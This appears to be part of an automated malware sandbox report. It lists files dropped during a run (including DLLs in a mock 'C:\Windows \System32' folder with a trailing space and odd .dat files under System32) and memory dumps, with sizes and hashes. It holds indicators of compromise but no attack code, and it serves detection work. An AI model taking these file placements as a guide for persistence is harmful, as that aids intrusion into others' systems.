d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
da5c82b0e070047f7377042d08093ff4

SHA1
89d05987cd60828cca516c5c40c18935c35e8bd3

SHA256
77a94ef8c4258445d538a6006ffadb05afdf888f6f044e1e5466b981a07f16c5

SHA512
7360311a3c97b73dd3f6d7179cd979e0e20d69f380d38292447e17e369087d9dd5acb66cd0cbdd95ac4bfb16e5a1b86825f835a8d45b14ea9812102cff59704b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_k2gyqoyq.mo5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows \System32\printui.dll

Filesize
13.5MB

MD5
d208410bae05cfa96a7c83c4ce614dd1

SHA1
2b120f3bd686cb5e7e29d338afab78dd9970c70c

SHA256
dc42b209da59c321377f42575f4a43e38036a6482556436b2774cfd08e402668

SHA512
949651249c8a40223dda7bb3183f620b7949cf0afd54cc57f34163595aaba03594e5bac06237d4367d025c3d05c6bc28fc81d4916eba04d8bcb35bf6031ff235

Download Submit
C:\Windows \System32\printui.exe

Filesize
62KB

MD5
a5e526d6accb87538405012b7303036e

SHA1
23720547c84a5af74c29a8825ff83ff50997b615

SHA256
065df0995e7dcce6b51c8b9e53125086ab15598e0445722b3a94f1bbf1a654bf

SHA512
5855a8d8a73cc71be122efcb8ca69969ecae3977ef4c4e4afcf373aab1e0c49f61bcbf5a74b7b2d2d9e57160940df9f00bd3af40b8126771f5b34a7a2115b01e

Download Submit
C:\Windows\System32\console_zero.exe

Filesize
649KB

MD5
4eccb8f5d1edcf18a11abed91ff85c46

SHA1
4cf96ef88d3d042d050cc8d963ef2141975a196a

SHA256
3286edb355b9afcb9f08ca87967001a56685d2298014c82a672ef3769e232838

SHA512
ec8b97ce4712cf94e9c9f5c0454fcbc52559ac4d7d076bf76e2e6a3052fbf18696a5f1bc602a70a06d5101e3f1bcd8b64995a2d71731e7ccb939fe67224924f9

Download Submit
C:\Windows\System32\libssl-3-x64.dll

Filesize
799KB

MD5
69d0fee0cc47c3b255c317f08ce8d274

SHA1
782bc8f64b47a9dcedc95895154dca60346f5dd7

SHA256
ba979c2dbfb35d205d9d28d97d177f33d501d954c7187330f6893bb7d0858713

SHA512
4955252c7220810ed2eaca002e57d25fbc17862f4878983c4351c917cf7873eb84ae00e5651583004f15a08789be64bdb34ff20cb0e172c9c1376706deb4aa1a

Download Submit
C:\Windows\System32\libwinpthread-1.dll

Filesize
51KB

MD5
9dc829c2c8962347bc9adf891c51ac05

SHA1
bf9251a7165bb2981e613ac5d9051f19edb68463

SHA256
ffe2d56375bb4e8bdee9037df6befc5016ddd8871d0d85027314dd5792f8fdc9

SHA512
fd7e6f50a21cb59075dfa08c5e6275fd20723b01a23c3e24fb369f2d95a379b5ac6ae9f509aa42861d9c5114be47cce9ff886f0a03758bfdc3a2a9c4d75fab56

Download Submit
C:\Windows\System32\winsvcf\x906150.dat

Filesize
6.1MB

MD5
5fba8ae226b096da3b31de0e17496735

SHA1
d532a01254cf9e0229d3c5803b78ff7c9b0cb8d3

SHA256
ca28f4aeaa5e16d216cd828b67454a56f3c7feeb242412d26ed914fadff20d40

SHA512
951e44fc0864a6741bcbb4227feb5429a032713dabd91102f4f0e27a69181ce7f23562e902cc09896ae26334b6d18caf0f5a13d81370bd703fd7ed6f78b47e72

Download Submit
C:\Windows\System32\zlib1.dll

Filesize
88KB

MD5
f53d1efea4855da42da07de49d80ba68

SHA1
920349f4bd5a5b8e77195c81e261dfa2177eb1ee

SHA256
7e9f43688189578042d791e3e5301165316edc7c1ed739e0669c033a3ca08037

SHA512
5d72f64b8e5c42a3c9a7bcbbe8a1598a85402ade4f312ab9e26869f8b39952a3aa037f2cf7da89e686c5bc3fcb221feeae077b9ffd2eef98dac0e307637fe7bd

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
4KB

MD5
bdb25c22d14ec917e30faf353826c5de

SHA1
6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

SHA256
e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

SHA512
b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b42c70c1dbf0d1d477ec86902db9e986

SHA1
1d1c0a670748b3d10bee8272e5d67a4fabefd31f

SHA256
8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

SHA512
57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ff5d70c69c2b81db042fa3f1f451e583

SHA1
1af76725d021ab1ccc0e6886b9be7a912f8c39b9

SHA256
20ae0d63f83b6b1589010b4f290eddacc138fad4c0c52a3794bb7e7a33afd9b6

SHA512
c343b6c3cddf4916afe3456a0eb9726c2a6817441f67a948ece24413a087f28fa09fca8f2a67c3a80386006276a5fb0df6da3c7cd914614a1be19ef47fa4fa95

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2b3012ca46a67f45240d5d70a3ecac33

SHA1
c1731946560260a44ddc19dfdcac7ca5a3579fa0

SHA256
8698b6a7942c8aa8dad53332c896055927d875259ce00f8a6f1bc64f63365d46

SHA512
1caed7e1014af6c5c87903a20f4ec6b71797f9e27d706fe8484f7329320213432c6f32e345f2b0f0b4c7b462c5908084dad25f77733d0a3382e222b4de5c4b43

Download Submit
\??\c:\windows\system32\LIBPQ.dll

Filesize
319KB

MD5
ef060e5c414b7be5875437ff2fb8ec54

SHA1
6dcf04dff9b25be556ec97660f95acf708c0c870

SHA256
e6aced8d30471f35b37abbf172ce357b6a8f18af5feb342b6cffc01d3378f2b4

SHA512
67bff321ba901a0b0dc0f6c4a723d7df35418f593e16e6193673cce5190d76355409f676c1ea5d0cb46493f5735209089a3a52d3d716eb8187bf6e846792e2e8

Download Submit
\??\c:\windows\system32\libcrypto-3-x64.dll

Filesize
4.5MB

MD5
158f0e7c4529e3867e07545c6d1174a9

SHA1
9ff0cccb271f0215ad24427b7254832549565154

SHA256
dcc1fa1a341597ddb1476e3b5b3952456f07870a26fc30b0c6e6312764baa1fc

SHA512
51e79d8d0ab183046f87aa659973b45147bb1e1ae8883f688c615ccb18bf9fccb8779dd872b01748bacd56e141bc096c2bb4ccf32ebd7a49adc76363355e40fe

Download Submit
\??\c:\windows\system32\libcurl.dll

Filesize
575KB

MD5
18ce47f58b4c1a9cfc1edf7c8bf49b7c

SHA1
e74d08ab06ed8200d7e674d8031d6df8250de8cb

SHA256
36d97f1c254832cee9698cea2f1a63ea98d231641fd29715ef581be103ace602

SHA512
19b2d6968095c4e8f08c66ab73e7ec5e0439712bcb2777266602ef2ad123a779395a3d44bc0c7c9945376998fb2165bc60e6bf682863a55a0cff40c720594bdd

Download Submit
\??\c:\windows\system32\libiconv-2.dll

Filesize
1.8MB

MD5
158bc77453d382cf6679ce35df740cc5

SHA1
9a3c123ce4b6f6592ed50d6614387d059bfb842f

SHA256
cf131738f4b5fe3f42e9108e24595fc3e6573347d78e4e69ec42106c1eebe42c

SHA512
6eb1455537cb4e62e9432032372fae9ce824a48346e00baf38ef2f840e0ed3f55acaee2656da656db00ae0bdef808f8da291dd10d7453815152eda0ccfc73147

Download Submit
\??\c:\windows\system32\libintl-9.dll

Filesize
464KB

MD5
e79e7c9d547ddbee5c8c1796bd092326

SHA1
8e50b296f4630f6173fc77d07eea36433e62178a

SHA256
1125ac8dc0c4f5c3ed4712e0d8ad29474099fcb55bb0e563a352ce9d03ef1d78

SHA512
dba65731b7ada0ac90b4122c7b633cd8d9a54b92b2241170c6f09828554a0bc1b0f3edf6289b6141d3441ab11af90d6f8210a73f01964276d050e57fb94248e2

Download Submit
\??\c:\windows\system32\winsvcf\winlogsvc

Filesize
304B

MD5
572f8a00881f751bd6ca0613d20e0ea8

SHA1
cd506507cdd36ce65ee65560997ca3d6e317aa20

SHA256
de1ddad90b10e0a449b24ba76b32fbf504d2db97cc4370a1ab8bc9602e8b5958

SHA512
af68cb7db24395fba801ececc204764c8b9adc868b780734c9cea01d261ec034b57ce2ab1a1326661eb9fa2dc1aa8d00b7eb08e9d08571dd55d1344ba55f40a5

Download Submit
\??\c:\windows\system32\x121792.dat

Filesize
1.9MB

MD5
dd6b814d79b44d3a17ef1175c724f199

SHA1
4b50ad258d2d177f22ed06ce3494dea67c180b22

SHA256
ed6bf39b821cf5ecb2e73b6021913b9d6f0fc73a82ee9e9c8b64b2a0eb7e917c

SHA512
60a92d0fe216eccf001abc9d90ab21d459c1442b999d3719129c17814bf529f19edcb35469ed79691072747e0f57c4c417600b8a398bfc1131f42d324a5fded2

Download Submit
memory/396-31-0x00007FFEAEAB0000-0x00007FFEAF571000-memory.dmp

Filesize
10.8MB

Download
memory/396-18-0x00007FFEAEAB0000-0x00007FFEAF571000-memory.dmp

Filesize
10.8MB

Download
memory/396-19-0x00007FFEAEAB0000-0x00007FFEAF571000-memory.dmp

Filesize
10.8MB

Download
memory/396-17-0x00007FFEAEAB0000-0x00007FFEAF571000-memory.dmp

Filesize
10.8MB

Download
memory/1448-123-0x00000230EA510000-0x00000230EA52C000-memory.dmp

Filesize
112KB

Download
memory/1448-130-0x00000230EA770000-0x00000230EA776000-memory.dmp

Filesize
24KB

Download
memory/1448-131-0x00000230EA780000-0x00000230EA78A000-memory.dmp

Filesize
40KB

Download
memory/1448-124-0x00000230EA530000-0x00000230EA5E5000-memory.dmp

Filesize
724KB

Download
memory/1448-125-0x00000230EA2C0000-0x00000230EA2CA000-memory.dmp

Filesize
40KB

Download
memory/1448-126-0x00000230EA750000-0x00000230EA76C000-memory.dmp

Filesize
112KB

Download
memory/1448-127-0x00000230EA730000-0x00000230EA73A000-memory.dmp

Filesize
40KB

Download
memory/1448-128-0x00000230EA790000-0x00000230EA7AA000-memory.dmp

Filesize
104KB

Download
memory/1448-129-0x00000230EA740000-0x00000230EA748000-memory.dmp

Filesize
32KB

Download
memory/2320-0-0x00007FFEAEFA3000-0x00007FFEAEFA5000-memory.dmp

Filesize
8KB

Download
memory/2320-15-0x00007FFEAEFA0000-0x00007FFEAFA61000-memory.dmp

Filesize
10.8MB

Download
memory/2320-12-0x00007FFEAEFA0000-0x00007FFEAFA61000-memory.dmp

Filesize
10.8MB

Download
memory/2320-11-0x00007FFEAEFA0000-0x00007FFEAFA61000-memory.dmp

Filesize
10.8MB

Download
memory/2320-1-0x000001A96ED00000-0x000001A96ED22000-memory.dmp

Filesize
136KB

Download
memory/4232-88-0x0000000066000000-0x00000000661BD000-memory.dmp

Filesize
1.7MB

Download
memory/4232-87-0x0000000064940000-0x0000000064955000-memory.dmp

Filesize
84KB

Download
memory/4232-86-0x0000000068280000-0x00000000682F0000-memory.dmp

Filesize
448KB

Download
memory/4232-195-0x0000000068280000-0x00000000682F0000-memory.dmp

Filesize
448KB

Download
memory/4444-226-0x000001BA3E4C0000-0x000001BA3E4E0000-memory.dmp

Filesize
128KB

Download